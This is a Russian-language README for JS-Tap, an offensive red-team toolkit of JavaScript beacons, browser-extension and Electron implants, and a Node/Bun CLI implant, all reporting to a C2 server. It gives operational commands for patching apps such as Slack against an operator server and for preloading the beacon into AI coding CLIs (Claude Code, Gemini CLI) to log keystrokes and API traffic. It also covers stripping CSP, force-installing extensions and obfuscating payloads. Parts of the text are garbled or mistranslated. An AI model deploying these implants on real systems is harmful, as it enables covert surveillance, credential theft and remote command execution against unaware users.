
JavaScript-маяки и C2 для использования в качестве XSS-полезной нагрузки или имплантов пост-эксплуатации на веб-серверах приложений или настольном ПО для отслеживания пользователей и поддержания постоянства. Включены импланты для расширений браузера, приложений Electron и приложений Node/Bun.
Основные изменения документируются в объявлениях проекта:
https://github.com/hoodoer/JS-Tap/discussions/categories/announcements
Вы можете прочитать оригинальную статью в блоге о JS-Tap здесь:
https://trustedsec.com/blog/js-tap-weaponizing-javascript-for-red-teams
Короткое демо с ShmooCon версии JS-Tap 1:
https://youtu.be/IDLMMiqV6ss?si=XunvnVarqSIjx_x0&t=19814
Демо версии JS-Tap 2 на HackSpaceCon, включая C2 и как использовать его в качестве имплантата после эксплуатации:
https://youtu.be/aWvNLJnqObQ?t=11719
Демо автоматического генератора полезной нагрузки, использующего перехваченные отправки форм и сетевой трафик JavaScript в качестве шаблона для создания пользовательских нагрузок C2:
https://www.youtube.com/watch?v=cU915mxLfTo
Демо на CactusCon версии v2, включая функцию мимикрии:
https://youtu.be/O7-zxAmP13o?si=gchYwOJksutCCUPH
Демо v3 Beacons (бета-код):
https://youtu.be/-esrfSHqZeo
Я не планирую создавать скрипты миграции для базы данных, и увеличение номера версии часто влечет за собой изменения схемы базы данных (проверьте журналы изменений). При обновлении версий вам, вероятно, следует удалить базу данных jsTap.db. Если у вас есть пользовательские нагрузки на сервере JS-Tap, обязательно экспортируйте их перед удалением файлов базы данных.
JS-Tap — это набор инструментов на основе JavaScript для наступательных операций (red teaming). Он начинался как универсальная JavaScript-нагрузка для атак на веб-приложения через XSS или имплантат после эксплуатации, и вырос до расширений браузера и имплантатов для десктопных приложений Electron — все они подключаются к единому C2-серверу.
Нагрузка не требует, чтобы целевой пользователь, запускающий нагрузку, был аутентифицирован в атакуемом приложении, и не требует предварительных знаний о приложении, кроме нахождения способа внедрить JavaScript в приложение.
Вместо атаки на сам сервер приложения, нагрузка JS-Tap фокусируется на клиентской стороне приложения и активно инструментирует клиентский код. Система C2 позволяет добавлять пользовательские JavaScript-нагрузки и запускать их как задачи на клиентах JS-Tap, предоставляя средства для прямой атаки на сервер приложения. Для ускорения перехода к атаке на сервер JS-Tap теперь включает функцию «mimic» для автоматической генерации пользовательских нагрузок и передачи их в систему C2.
Пример нагрузки DOM Beacon содержится в файле telemlib.js в каталоге payloads, однако любой файл в этом каталоге обслуживается без аутентификации, поэтому вы можете одновременно обслуживать несколько нагрузок с разными конфигурациями, нацеленными на разные приложения.
Скопируйте файл telemlib.js в любое имя файла по вашему желанию и измените конфигурацию по мере необходимости. Этот файл не обфусцирован. Перед использованием в рамках операции настоятельно рекомендуется изменить имена конечных точек, удалить комментарии и сильно обфусцировать нагрузку. По умолчанию приложение использует довольно очевидные конечные точки API (например, /loot/screenshot); в Настройках приложения вы можете включить обфускацию трафика.
Внимательно изучите раздел конфигурации ниже перед использованием на публично доступном сервере.
JS-Tap имеет пять типов маяков/агентов, подключающихся к одному серверу:
Все пять сообщают на один и тот же портал сервера JS-Tap, где просматривается добыча и выдаются команды C2.
Портал также включает два инструмента клонирования сессий:
| Инструмент | Что делает |
|---|---|
| Browser Proxy | MITM-прокси на сервере JS-Tap, который маршрутизирует HTTP/HTTPS трафик оператора через браузер (или процесс Node.js) жертвы через WebSocket. Запросы выполняются из сетевого контекста жертвы, поэтому целевой сайт видит IP-адрес жертвы и её TLS-отпечаток. Комбинируйте с Session Ticket для аутентифицированного просмотра через сеть жертвы. Поддерживается маяками BEX, Atom и V8. См. ниже. |
Автономный DOM Beacon: Нагрузка DOM Beacon (telemlib.js) работает независимо. Внедрите её через XSS или имплантируйте в JS-файлы цели. Она сама «перезванивает» на сервер JS-Tap.
BEX Beacon как дроппер: BEX Beacon отслеживает просмотр и собирает пассивную разведку (куки, localStorage, sessionStorage, заголовки запросов, навигацию). С портала JS-Tap вы можете отдать команду маяку внедрить DOM Beacon в определенный домен. DOM Beacon, порождённый BEX Beacon, получает качественные скриншоты через API расширения captureVisibleTab (режим «BEX-Assist»).
Sidecar для доступа к ОС: При установке бинарник Sidecar даёт BEX Beacon доступ к операционной системе. Команды отправляются с портала JS-Tap, ретранслируются через зашифрованный канал маяка к нативному бинарнику, и результаты отправляются обратно. Это превращает расширение браузера в точку опоры для доступа к файловой системе и выполнения команд.
Browser Proxy для живого просмотра: Оператор настраивает свой браузер на использование прокси JS-Tap, и весь HTTP/HTTPS трафик маршрутизируется через браузер жертвы в реальном времени. Прокси выполняет MITM-терминацию TLS (с автоматически сгенерированным CA), чтобы оператор мог просматривать HTTPS-сайты. Прокси — это «тупая труба» — он передаёт ровно то, что отправляет браузер оператора. Для аутентифицированного просмотра комбинируйте с Session Ticket: JS-Tap Conductor внедряет куки, заголовки и User-Agent жертвы в браузер оператора, MITM-прокси передаёт их маяку, а маяк загружает данные из сети жертвы. Это даёт оператору аутентифицированную сессию с IP-адреса жертвы. BEX, Atom и V8 Beacons поддерживают режим прокси.
Atom Beacon для приложений Electron: Патчер atomize.py модифицирует ASAR-архив приложения Electron, чтобы внедрить агент Atom Beacon. При запуске агент регистрируется на сервере JS-Tap, начинает зашифрованную связь C2 и автоматически внедряет нагрузки рендерера в каждое BrowserWindow, создаваемое приложением. Агент главного процесса предоставляет нативный доступ к ОС (файловая система, выполнение команд), а нагрузки рендерера собирают данные на уровне DOM (нажатия клавиш, ввод, формы, куки, хранилища, сетевые вызовы). Поскольку он работает внутри главного процесса Electron с полным доступом к Node.js, отдельный бинарник Sidecar не нужен — просмотр файлов, чтение файлов и команды оболочки встроены.
V8 Beacon для CLI-инструментов: V8 Beacon нацелен на CLI-приложения на Node.js и Bun. Установите переменную окружения ( или ), и маяк загружается до кода самого приложения — не требуется модификации целевого приложения. Он «обезьяньим патчем» перехватывает , , и для перехвата всего сетевого трафика, подключается к для захвата нажатий клавиш, предоставляет просмотр файлов и выполнение команд через канал C2. Инструменты CLI, порождающие дочерние процессы (например, Gemini CLI порождает себя как дочерний процесс для интерактивной сессии), обрабатываются автоматически — дочерний процесс наследует ключи сессии родительского и отображается как тот же логический клиент на портале. Межрантаймная фильтрация дочерних процессов предотвращает регистрацию утилитных дочерних процессов Node.js от приложений Bun как отдельных клиентов.
Примечание: возможность получения копий вызовов XHR и Fetch API работает в режиме trap. В режиме implant в настоящее время можно копировать только Fetch API. Перехват отправки форм иногда может быть пропущен в режиме implant.
browser.cookies.getAll(), с метаданными: httpOnly, secure, sameSite, path, domain, expiration)Агент главного процесса (среда выполнения Node.js):
session.cookies (включая httpOnly, с метаданными)webRequest.onBeforeSendHeaderswebRequest.onHeadersReceiveddesktopCapturer (захват композированного вывода GPU)Нагрузки рендерера (внедряются во все окна приложения):
document.cookie, с отслеживанием изменений)process.stdin (буферизируется в читаемые строки, сбрасывается каждые 2 секунды или при нажатии Enter)Нагрузка DOM Beacon имеет два режима работы. Режим trap или implant устанавливается в функции initGlobals(), ищите переменную window.taperMode.
Режим trap — это типичный режим для использования в качестве XSS-нагрузки. Выполнение XSS-нагрузок часто кратковременно: пользователь, просматривающий страницу, где выполняется вредоносный JavaScript-код, может закрыть вкладку браузера (страница неинтересна) или перейти в другое место приложения. В обоих случаях нагрузка будет удалена из памяти и перестанет работать. JS-Tap должен работать длительное время, иначе вы не соберете полезных данных.
Режим trap борется с этим, устанавливая персистентность с помощью техники iFrame trap. Нагрузка JS-Tap создает полноразмерный iFrame и запускает пользователя в другом месте приложения. Эту начальную страницу необходимо настроить заранее. В функции initGlobals() найдите переменную window.taperstartingPage и установите её в подходящее начальное местоположение в целевом приложении.
В режиме trap JS-Tap отслеживает местоположение пользователя в iFrame-ловушке и подменяет адресную строку браузера, чтобы она соответствовала местоположению iFrame.
Обратите внимание: целевое приложение должно разрешать встраивание iFrame из того же источника (same-origin) или self, если оно устанавливает заголовки CSP или X-Frame-Options. JavaScript-фреймбустеры также могут препятствовать работе iFrame-ловушек.
Примечание: у меня был положительный опыт использования режима Trap в качестве имплантата после эксплуатации в очень специфических местах приложения, или когда я не уверен, какие ресурсы приложение использует внутри аутентифицированной части приложения. Вы можете разместить имплантат на странице входа, с режимом trap и начальной страницей, установленной в window.location.href (т.е. текущее местоположение). Ловушка сработает, когда пользователь посетит страницу входа, и, надеюсь, он продолжит перемещаться по аутентифицированным частям приложения внутри iFrame-ловушки.
Обновление страницы пользователем обычно ломает/разрывает iFrame-ловушку.
Режим implant обычно используется, если вы напрямую добавляете нагрузку в целевое приложение. Возможно, у вас есть оболочка на сервере, на котором размещены JavaScript-файлы приложения. Добавьте нагрузку в JavaScript-файл, который используется во всем приложении (jQuery, main.js и т.д.). Какой файл идеально подойдет, зависит от конкретного приложения и того, как оно использует JavaScript-файлы. Режим implant не требует настройки начальной страницы и не использует технику iFrame trap.
Обновление страницы пользователем в режиме implant обычно приводит к продолжению работы нагрузки JS-Tap.
Режим implant с большей вероятностью будет работать с приложениями, так как он не включает весь дополнительный код персистентности с iFrame.
BEX Beacon — это версия JS-Tap для расширения браузера. Он выполняет две основные цели:
BEX Beacon использует зашифрованную связь на уровне приложения (AES-GCM) с сервером JS-Tap. Вся телеметрия и ответы задач шифруются от конца до конца через единую конечную точку, что затрудняет идентификацию сетевого трафика.
Маяк также включает такие функции, как удаление заголовков CSP/X-Frame-Options (через правила declarativeNetRequest) для облегчения внедрения JS-Tap в строгих средах. Для целей, использующих теги <meta http-equiv="Content-Security-Policy"> (которые нельзя удалить правилами заголовков, так как они встроены в HTML), BEX Beacon использует пакетный подход к внедрению — telemlib.js упаковывается внутри расширения и внедряется через chrome.scripting.executeScript({ files }), что полностью обходит CSP на уровне страницы через привилегированный механизм внедрения скриптов расширения браузера.
В паре с опциональным хостом нативных сообщений Sidecar, BEX Beacon получает доступ к ОС на целевом компьютере. См. раздел Sidecar ниже.
Atom Beacon — это имплантат для десктопных приложений Electron. Он работает как двухуровневый агент — привилегированный агент главного процесса с полным доступом к среде выполнения Node.js, плюс нагрузки рендерера, автоматически внедряемые в каждое BrowserWindow, создаваемое приложением.
В отличие от комбинации BEX Beacon + Sidecar, Atom Beacon не требует отдельного нативного бинарника для доступа к ОС — операции с файловой системой, выполнение команд и захват скриншотов встроены в агент главного процесса с использованием API Node.js.
Atom Beacon использует тот же протокол зашифрованной связи, что и BEX Beacon (шифрование AES-GCM через единую конечную точку с обменом ключами RSA-OAEP). Он регистрируется как отдельный тип клиента (atom-beacon) и отображается в представлении Приложения вместе с DOM Beacons.Ключевые возможности:
webContents.executeJavaScript(), включая окна, созданные после первоначального запуска. Полезные нагрузки рендерера захватывают нажатия клавиш, ввод данных, формы, куки, хранилища, URL, HTML и вызовы XHR/Fetch.desktopCapturer Electron, который создаёт попиксельно точные снимки, включая содержимое, композированное GPU. Поддерживает ручной захват (через интерфейс портала), автоматический захват по эвристикам (при фокусе окна, навигации и новых окнах) и настраиваемые периоды охлаждения.webRequest.onBeforeSendHeaders и заголовки ответов через webRequest.onHeadersReceived на уровне сессии Electron.session.cookies.get().Смотрите Atom Beacon (патчинг приложений Electron) ниже для настройки и использования.
V8 Beacon — это имплант для командных приложений на Node.js и Bun. В отличие от Atom Beacon, который требует модификации ASAR-архива приложения, V8 Beacon внедряется через переменные окружения — без изменения целевого приложения.
Поддерживаемые среды выполнения:
export NODE_OPTIONS="--require /path/to/v8-beacon.js" (протестировано с Gemini CLI и другими инструментами Node.js)export BUN_OPTIONS="--preload /path/to/v8-beacon.js" (протестировано с Claude Code)Beacon использует тот же протокол шифрованной связи, что BEX и Atom Beacons (AES-GCM шифрование через одну конечную точку с обменом ключами RSA-OAEP). Регистрируется как клиент типа v8-beacon и отображается в представлении Nodes на портале.
Ключевые возможности:
http.request, https.request, globalThis.fetch и http2.connect для захвата всех исходящих сетевых вызовов с полными телами запросов/ответов, заголовками и кодами состояния. Потоковые ответы SSE (используемые AI API, такими как Anthropic Messages API и Google Gemini API) захватываются путём разветвления потока ответа. Ответы, сжатые gzip, автоматически распаковываются.process.stdin на нескольких уровнях (push, emit, tty.ReadStream, readline) для захвата пользовательского ввода. Нажатия буферизируются в читаемые строки и сбрасываются каждые 2 секунды (или сразу при нажатии Enter).Смотрите V8 Beacon (Node.js / Bun CLI Apps) ниже для настройки и использования.
JS-Tap использует три различных метода для создания скриншотов:
Используется по умолчанию в имплантах DOM Beacon. Пытается реконструировать страницу как элемент canvas и экспортировать её как изображение. Это хорошо работает для большинства сайтов, но может вызывать трудности со сложными современными приложениями (например, Reddit) или кросс-доменными изображениями.
Когда имплант DOM Beacon порождён BEX Beacon, он получает доступ к высокоуровневым API браузера расширения. В этом режиме имплант просит beacon сделать скриншот с помощью chrome.tabs.captureVisibleTab. В результате получается попиксельно точный снимок высокого качества, не имеющий ограничений CSS/DOM, присущих html2canvas. Это рекомендуемый режим для сложных целей.
Atom Beacon использует API desktopCapturer Electron для создания скриншотов окон. Это захватывает фактический вывод GPU-композированных окон, создавая попиксельно точные снимки сложных приложений Electron (Slack, VS Code, Discord и т.д.). Скриншоты можно запускать вручную с портала или автоматически по настраиваемым эвристикам (смена фокуса окна, события навигации, создание нового окна).
Требуется python3. Для jsTapServer требуется большое количество зависимостей; настоятельно рекомендуется использовать виртуальные окружения Python для изоляции библиотек серверного ПО (или любой другой предпочитаемый вами метод изоляции).
Пример:``` mkdir jsTapEnvironment python3 -m venv jsTapEnvironment source jsTapEnvironment/bin/activate cd jsTapEnvironment git clone https://github.com/hoodoer/JS-Tap cd JS-Tap pip3 install -r requirements.txt
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -sha256 -days 365 -nodes
python3 jsTapServer.py #or
./jstapRun.sh
Сервер автоматически генерирует случайный пароль администратора при каждом запуске и выводит его в консоль. Учётные данные также сохраняются в `adminCreds.txt` в корне проекта. Во время разработки/тестирования безопасно удалять `jsTap.db` между запусками — он автоматически воссоздаётся при старте.
### Сборка (Унифицированная сборка)
Унифицированный скрипт сборки в корне проекта управляет всем: сборкой расширений для Chrome и Firefox, упаковкой их для развёртывания, опциональной кросс-компиляцией sidecar-бинарника и созданием самодостаточных пакетов развёртывания, которые можно скопировать на целевые машины.
#### Предварительные требования
- **Node.js** (для сборки расширений WXT и упаковки .crx)
- **Go** (1.21+) — требуется только если sidecar включён
- **Python 3**
#### Быстрый старт
1. Настройте `bex-beacon/config.json` (см. [Конфигурация](#bex-beacon-configuration-configjson) ниже).
2. Установите зависимости Node (только первый раз):```bash
cd bex-beacon && npm install && cd ..
Это собирает расширения Chrome MV3 и Firefox MV2, упаковывает их как `.crx`/`.xpi`, кросс-компилирует вспомогательные бинарники (если включено) и генерирует пакеты для развёртывания. Скрипт сборки автоматически увеличивает номер патча версии расширения при каждой сборке (например, `2.1.5` → `2.1.6`) в `bex-beacon/config.json`, чтобы механизмы принудительной установки расширений в браузерах (политика Chrome/Edge) подхватывали обновлённые сборки.
#### Флаги сборки
| Флаг | Эффект |
|---|---|
| `--ext-only` | Сборка только расширений, пропустить sidecar |
| `--sidecar-only` | Сборка только sidecar, пропустить расширения |
| `--legacy` | Также собрать устаревшие расширения (из `src-chrome-extension/` и `src-firefox-extension/`) |
#### Результат сборки```
build/
chrome-mv3/ # Unpacked Chrome extension (for development)
firefox-mv2/ # Unpacked Firefox extension (for development)
extension.crx # Packed Chrome extension (if key.pem configured)
extension.xpi # Packed Firefox extension
sidecar/ # Sidecar binaries + manifests (when enabled)
deploy/ # Self-contained deploy bundles
chrome-linux.tar.gz
chrome-mac.tar.gz
chrome-windows.zip
chromium-linux.tar.gz
chromium-mac.tar.gz
firefox-linux.tar.gz
firefox-mac.tar.gz
firefox-windows.zip
Для эксплуатации в производственной среде следует сгенерировать статическую пару ключей, чтобы идентификатор вашего расширения Chrome был детерминированным между сборками. Это необходимо для того, чтобы манифесты native messaging сайдкара могли внести в белый список правильное расширение.```bash
openssl genrsa 2048 > key.pem
openssl rsa -in key.pem -pubout -outform DER | base64 -w0
Добавьте вывод base64 в `extension_ids.chrome_key` и установите `extension_ids.chrome_key_pem` в `key.pem` в файле `bex-beacon/config.json`. Сборочный скрипт автоматически вычислит и проверит 32-символьный идентификатор Chrome-расширения.
Идентификаторы Firefox-расширений задаются напрямую через `extension_ids.firefox_extension_id` (например, `bex-beacon@jstap`).
### Развёртывание на целевых системах
Каждый пакет развёртывания представляет собой **самодостаточный архив** — один файл для копирования на целевую машину.
**Рабочий процесс:**
1. Скопируйте соответствующий архив на целевую систему (например, `chrome-linux.tar.gz`)
2. Распакуйте его
3. Запустите сценарий установки```bash
# Linux/macOS
tar xzf chrome-linux.tar.gz
cd chrome-linux
./install.sh
# Windows
# Extract chrome-windows.zip, then run:
install.bat
Что делают скрипты установки:
Если включен sidecar, скрипты установки также устанавливают бинарный файл sidecar и записывают манифест нативного обмена сообщениями в правильное для браузера/ОС место. Установка sidecar выполняется на уровне пользователя (sudo не требуется).
Подробности установки Chrome/Chromium (Linux):
ExtensionSettings с режимом force_installed)/opt/jstap//etc/chromium/policies/managed/ (Chromium) или /etc/opt/chrome/policies/managed/ (Chrome)Подробности установки Chrome/Chromium (macOS):
/Library/Application Support/JSTap/Каждый пакет развертывания включает скрипт удаления (uninstall.sh или uninstall.bat), который чисто удаляет всё, что развернул скрипт установки.```bash
./uninstall.sh
uninstall.bat
**What the uninstall scripts remove:**
| Компонент | Что удаляется |
|---|---|
| **Расширение Chrome/Chromium** (Linux) | Enterprise policy JSON + CRX + манифест обновления из системных каталогов (требуется `sudo`) |
| **Расширение Chrome/Chromium** (macOS) | Внешний JSON расширения + CRX из системных каталогов (требуется `sudo`) |
| **Расширение Chrome** (Windows) | Запись реестра + файлы расширения из `%LOCALAPPDATA%\JSTap` |
| **Расширение Firefox** | `.xpi` из каталога `extensions/` профиля Firefox |
| **Sidecar** (при наличии) | Бинарный файл из `~/.local/bin/`, JSON манифеста native messaging и записи реестра (Windows) |
После удаления перезапустите браузер, чтобы изменения вступили в силу.
#### Использование для разработки
Для разработки и тестирования вы можете пропустить развертывание пакетов и загружать расширения напрямую:
- **Chrome:** `chrome://extensions` -> Включить Режим разработчика -> Загрузить распакованное -> выбрать `build/chrome-mv3/`
- **Firefox:** `about:debugging` -> Этот Firefox -> Временное дополнение -> выберите любой файл внутри `build/firefox-mv2/`
### Sidecar (Native Messaging Host)
Sidecar является **необязательным**. Это бинарный файл Go, который взаимодействует с BEX Beacon через API native messaging браузера для предоставления доступа на уровне ОС (просмотр файлов, чтение файлов, выполнение команд).
#### Включение и сборка
1. Установите `sidecar.enabled: true` в `bex-beacon/config.json`
2. Настройте идентификаторы расширений в `extension_ids` (см. [Статические идентификаторы расширений](#static-extension-ids) выше)
3. Запустите унифицированную сборку:```bash
python3 buildAll.py
The build script automatically syncs the extension IDs from the central config to sidecar/config.json, cross-compiles sidecar binaries for all platforms, and includes the correct binary in each deploy bundle.
Если вам нужно пересобрать только sidecar без пересборки расширений:```bash python3 buildAll.py --sidecar-only
Или соберите его напрямую (в противном случае будет использоваться `../bex-beacon/config.json`, если локальный конфиг отсутствует):```bash
cd sidecar
python3 buildSidecar.py
Для тестовых итераций во время разработки используйте скрипт удаления, специфичный для sidecar, чтобы удалить бинарный файл и все манифесты собственных сообщений:```bash ./sidecar/uninstall.sh
Это удаляет бинарный файл из `~/.local/bin/` и манифест JSON из всех каталогов манифестов Chrome/Firefox (Linux и macOS).
Для развернутых систем используйте `uninstall.sh` или `uninstall.bat` из пакета — они удаляют и расширение, и sidecar за один шаг. См. [Удаление](#uninstalling) выше.
#### Как работает Sidecar```
JS-Tap Portal UI
│ POST /api/sidecar/command
▼
JS-Tap Server (queues SIDECAR_COMMAND task)
│ Beacon polls on heartbeat
▼
BEX Beacon (background service worker)
│ browser.runtime.connectNative()
▼
Sidecar Go Binary (native messaging, stdio)
│ Executes command, returns result
▼
BEX Beacon (encrypts result, sends to server)
│ POST /client/metrics/<uuid>
▼
JS-Tap Server (stores SidecarResult)
│ UI polls GET /api/sidecar/result/<requestId>
▼
JS-Tap Portal UI (displays result)
The communication between the beacon and the sidecar binary uses the native messaging protocol — each message is prefixed with a 4-byte little-endian length, followed by a JSON payload.
Sidecar Commands:
The Atom Beacon implant is injected into Electron desktop applications using the atomize.py patcher. It modifies the app's ASAR archive (or unpacked app directory) to prepend the agent code to the main process entry point.
resources/app.asar or resources/app/ directoryOn Linux and macOS, atomize.py can be run directly with Python 3. On Windows, Python may not be installed. You can build a standalone atomize.exe using PyInstaller:```bash
cd atom-beacon
pip install pyinstaller
pyinstaller atomize.spec
Это создает `dist/atomize.exe` — однофайловый исполняемый файл, который объединяет Python, библиотеку ASAR и файлы полезной нагрузки. На целевой машине с Windows не требуется установка Python. Использование идентично версии на Python:```
atomize.exe --detect-only C:\Users\target\AppData\Local\slack\app-4.40.0
atomize.exe --server https://10.0.0.1:8444 C:\Users\target\AppData\Local\slack\app-4.40.0
Примечание: PyInstaller может выполнять сборку только для той ОС, на которой он запущен. Чтобы собрать Windows
.exe, запустите PyInstaller на машине с Windows (или на виртуальной машине Windows/CI runner).
Устранение неполадок с pip в Windows:
Если pip не распознается в Windows, но python работает, используйте python -m pip вместо:```
python -m pip install pyinstaller
Если `pyinstaller` не найден после установки, используйте `python -m PyInstaller` (регистрозависимо):```
python -m PyInstaller atomize.spec
Если сам pip недоступен, убедитесь, что Python был установлен с включенным флажком "Add Python to PATH". Вы также можете вручную установить pip:``` python -m ensurepip --upgrade
#### Анализ цели
Перед патчингом используйте `--detect-only` для анализа структуры целевого приложения, параметров безопасности и статуса подписи кода:```bash
cd atom-beacon
python3 atomize.py --detect-only /Applications/Slack.app
Этот отчет показывает:
package.json)cd atom-beacon python3 atomize.py --server https://10.0.0.1:8444 /Applications/Slack.app
Параметры:
| Флаг | Описание |
|---|---|
| `--server URL` | URL сервера JS-Tap (требуется для патча) |
| `--tag TAG` | Тег клиента, отображаемый на портале (по умолчанию: `atom`) |
| `--detect-only` | Анализировать без применения патча |
| `--no-backup` | Пропустить создание резервной копии `.bak` оригинального ASAR |
| `--output PATH` | Записать пропатченный ASAR по другому пути, вместо замены на месте |
Патчер автоматически:
- Находит `app.asar` или `app/` внутри пакетов `.app` (macOS), каталогов `resources/` (Linux/Windows) или принимает прямые пути
- Создаёт резервную копию `.bak` перед модификацией (если не указан `--no-backup`)
- Обнаруживает и удаляет существующие патчи перед повторным патчингом
- Генерирует уникальный префикс IPC для каждого патча во избежание коллизий
- Встраивает полезную нагрузку рендерера как строковую константу внутрь агента (инжекция в один файл)
#### Примечания после применения патча
| Платформа | Примечания |
|---|---|
| **macOS** | Подпись кода становится недействительной. Если приложение показывает предупреждение о «повреждении», выполните `xattr -cr /path/to/App.app` или повторно подпишите с помощью `codesign --force --deep --sign - /path/to/App.app`. |
| **Windows** | SmartScreen может предупредить при начальной загрузке, но уже установленные приложения не проверяются повторно. Замена на месте работает без проблем. |
| **Linux** | Проверка подписи кода не применяется. Пропатченное приложение работает нормально. |
#### Распаковка (Откат)
Чтобы откатить пропатченное приложение, восстановите файл `.bak`:```bash
cp /path/to/resources/app.asar.bak /path/to/resources/app.asar
Target Electron App (patched) │ app.asar main entry point ▼ Atom Beacon Agent (main process, Node.js) │ Registers with JS-Tap server │ RSA-OAEP key exchange → AES-GCM encrypted channel ▼ Heartbeat Loop (jittered interval) ├── Poll for tasks (screenshot commands, shell commands, etc.) ├── Flush renderer data (keystrokes, inputs, cookies, storage, network calls) ├── Exfiltrate queued data (encrypted, single endpoint) └── Report status (tracked windows, host info)
Renderer Injection (automatic) │ webContents.executeJavaScript() on every BrowserWindow ▼ Renderer Payload (per-window) ├── Keylogger (keydown capture, debounced flush) ├── Input/Form capture ├── Cookie/localStorage/sessionStorage monitoring ├── URL tracking (including SPA navigation) ├── XHR/Fetch monkey-patching └── HTML source capture
Агент взаимодействует с сервером через ту же зашифрованную конечную точку, которая используется BEX Beacons (`POST /client/metrics/<uuid>`). Все данные шифруются с помощью AES-GCM с ключами, установленными во время регистрации.
#### Использование панели инструментов (Atom Beacon)
Когда клиент Atom Beacon выбран на портале, панель **Tools** предоставляет:
**Панель Browser Proxy** — Запуск/остановка прокси, загрузка сертификата CA и создание тикетов прокси. Запросы маршрутизируются через сетевой контекст приложения Electron.
**Вкладка File Browser** — Просмотр файловой системы цели и чтение файлов, идентично файловому браузеру BEX Sidecar, но работающему нативно в процессе Electron.
**Вкладка Shell** — Выполнение команд на цели, идентично оболочке BEX Sidecar, но работающей нативно через `child_process` Node.js.
**Вкладка Screenshots** — Только для Atom Beacon. Предоставляет:
- Кнопка **Capture Now** для ручных скриншотов по запросу
- **Автоматический захват (эвристики)** — настраиваемые переключатели для автоматических триггеров скриншотов:
- *Захват при фокусе окна* — скриншоты при переключении пользователя между окнами приложений
- *Захват при навигации* — скриншоты при навигации по страницам (включая навигацию в SPA, например переключение каналов в Slack)
- *Захват при новом окне* — скриншоты при открытии приложением нового окна
- **Задержка (Cooldown)** — минимальное количество секунд между автоматическими захватами для каждого окна (предотвращает переполнение)
Автоматический захват использует устранение дребезга (debounced triggers) — для навигации в SPA скриншот делается через 3 секунды после последнего события навигации/изменения заголовка, что гарантирует захват содержимого целевой страницы, а не покидаемой.
Значок панели инструментов показывает **Built-in** для клиентов Atom Beacon (поскольку доступ к ОС является родным для агента и не зависит от внешнего бинарного файла sidecar).
### V8 Beacon (приложения Node.js / Bun CLI)
Имплант V8 Beacon внедряется в приложения Node.js и Bun CLI через переменные окружения. Не требуется исправление или модификация целевого приложения.
#### Сборка Beacon```bash
cd v8-beacon
python3 v8ize.py --server https://10.0.0.1:8444 --tag gemini
Опции:
| Флаг | Описание |
|---|---|
--server URL | URL сервера JS-Tap (обязательно) |
--tag TAG | Тег клиента, отображаемый на портале (по умолчанию: v8) |
Это создает самодостаточный файл v8-beacon.js со встроенными URL сервера и тегом.
Для приложений Node.js (Gemini CLI, OpenCode, кастомные инструменты Node.js и т.д.):```bash export NODE_OPTIONS="--require /path/to/v8-beacon.js" gemini # or any Node.js CLI tool
**Для Bun-приложений** (Claude Code и т.д.):```bash
export BUN_OPTIONS="--preload /path/to/v8-beacon.js"
claude # or any Bun-based CLI tool
Вы можете установить обе переменные окружения одновременно, чтобы охватить обе среды выполнения:```bash export NODE_OPTIONS="--require /path/to/v8-beacon.js" export BUN_OPTIONS="--preload /path/to/v8-beacon.js"
The beacon loads before the application's own code and begins instrumenting the runtime. The target application runs normally — the beacon is invisible to the user.
#### Как это работает```
Target CLI Application (e.g. claude, gemini)
│ --require / --preload loads v8-beacon.js
▼
V8 Beacon Agent (same process)
│ Registers with JS-Tap server
│ RSA-OAEP key exchange → AES-GCM encrypted channel
▼
Heartbeat Loop (jittered interval)
├── Poll for tasks (shell commands, file browser, proxy start/stop, plugins, etc.)
├── Flush captured data (network calls, keystrokes)
├── Exfiltrate queued data (encrypted, single endpoint)
└── Report status (host info, capabilities, proxy state)
Network Hooks (automatic)
├── http.request / https.request (monkey-patched)
├── globalThis.fetch (monkey-patched)
├── http2.connect (monkey-patched)
└── Module._load intercept for node-fetch
Stdin Hooks (automatic)
├── process.stdin.push / emit
├── tty.ReadStream.prototype.push
└── readline.createInterface
Некоторые CLI-инструменты порождают себя как дочерние процессы. Например, Gemini CLI выполняет аутентификацию в родительском процессе, а затем запускает дочерний процесс node gemini для интерактивного сеанса (где происходят реальные вызовы API).
V8 Beacon обрабатывает это автоматически:
__V8_BEACON_ACTIVE и __V8_BEACON_RUNTIME__V8_BEACON_UUID, __V8_BEACON_SENDKEY, __V8_BEACON_RECVKEY)npm, npx, yarn, tsc, eslint и т.д.) всегда пропускаютсяЭто означает, что сеанс Gemini CLI с родительским и дочерними процессами отображается на портале как единый клиент со всеми объединёнными событиями.
Когда клиент V8 Beacon выбран на портале (на вкладке Nodes), панель Tools предоставляет:
Панель Browser Proxy — Запуск/остановка прокси, загрузка сертификата ЦС и генерация прокси-билетов. Запросы маршрутизируются через сетевой контекст процесса Node.js/Bun.
Вкладка File Browser — Просмотр файловой системы цели и чтение файлов, идентично браузеру файлов BEX Sidecar и Atom Beacon.
Вкладка Shell — Выполнение команд на цели через child_process Node.js.
Значок панели Tools показывает Built-in (доступ к ОС является встроенным для агента).
| Приложение | Среда выполнения | Статус |
|---|---|---|
| Gemini CLI | Node.js | Полный перехват сетевого трафика (включая streamGenerateContent SSE), кейлоггинг, доступ к файлам/оболочке |
| Claude Code | Bun 1.3.10 | Полный перехват сетевого трафика (включая потоковую передачу SSE ), кейлоггинг, доступ к файлам/оболочке |
Если вы запускаете JS-Tap со скриптом jsTapServer.py в однонитевом режиме (отлично подходит для тестирования/демонстраций), параметры конфигурации находятся непосредственно в скрипте jsTapServer.py.
Для промышленного использования JS-Tap должен быть размещён на общедоступном сервере с корректным SSL-сертификатом от таких организаций, как letsencrypt. Самый простой способ развертывания — настроить NGINX в качестве фронтенда для JS-Tap, обрабатывающего сертификат letsencrypt, и перенаправлять расшифрованный трафик на JS-Tap по HTTP локально (т.е. NGINX и JS-Tap работают на одном VPS).
Если установить proxyMode в true, сервер JS-Tap будет работать в режиме HTTP и получать IP-адрес клиента из заголовка X-Forwarded-For, который должен устанавливаться NGINX.
Когда proxyMode установлен в false, JS-Tap будет работать с самоподписанным сертификатом, что полезно для тестирования. IP-адрес клиента будет взят из исходного IP-адреса подключающегося клиента.
Параметр dataDirectory указывает JS-Tap каталог для использования в качестве базы данных SQLite и каталога трофеев (loot). Не все «трофеи» хранятся в базе данных, в частности, скриншоты и извлечённые HTML-файлы.
Чтобы изменить конфигурацию порта сервера, см. последнюю строку jsTapServer.py.``` app.run(debug=False, host='0.0.0.0', port=8444, ssl_context='adhoc')
### Конфигурация BEX Beacon (config.json)
Расположен в `bex-beacon/config.json`. Это **единый источник правды** для всей конфигурации сборки — расширения, идентификаторы расширений и настройки sidecar.```json
{
"extension": {
